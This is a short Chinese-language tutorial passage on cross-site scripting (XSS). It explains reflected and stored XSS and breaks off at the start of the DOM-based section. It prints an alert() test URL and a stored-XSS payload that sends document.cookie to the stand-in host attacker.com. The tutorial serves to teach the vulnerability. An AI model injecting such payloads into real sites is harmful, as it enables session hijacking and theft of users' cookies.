跨站脚本攻击(XSS)详解
跨站脚本攻击(XSS,Cross-Site Scripting)是一种通过在网页中注入恶意脚本,攻击用户浏览器的漏洞。攻击者可以利用XSS窃取用户敏感信息、劫持会话、或在受害者浏览器中执行恶意操作。
一、XSS的类型
1. 反射型 XSS(Reflected XSS)
- 特点:
- 恶意脚本通过 URL 参数传递,受害者访问后立即触发。
- 通常出现在搜索框、URL参数等直接输出到页面的地方。
- 实例:
如果应用直接将http://example.com/search?q=<script>alert('XSS')</script>
q
参数值显示在页面上而未过滤,就会触发XSS。
2. 存储型 XSS(Stored XSS)
- 特点:
- 恶意脚本存储在服务器中(如评论区、消息板)。
- 每次其他用户访问存储内容时,脚本会自动执行。
- 实例: 攻击者在评论区插入恶意代码:
当其他用户访问该评论时,浏览器会执行脚本,将其Cookie发送给攻击者。<script>document.location='http://attacker.com?cookie='+document.cookie</script>
3. DOM型 XSS(DOM-based XSS)
-
<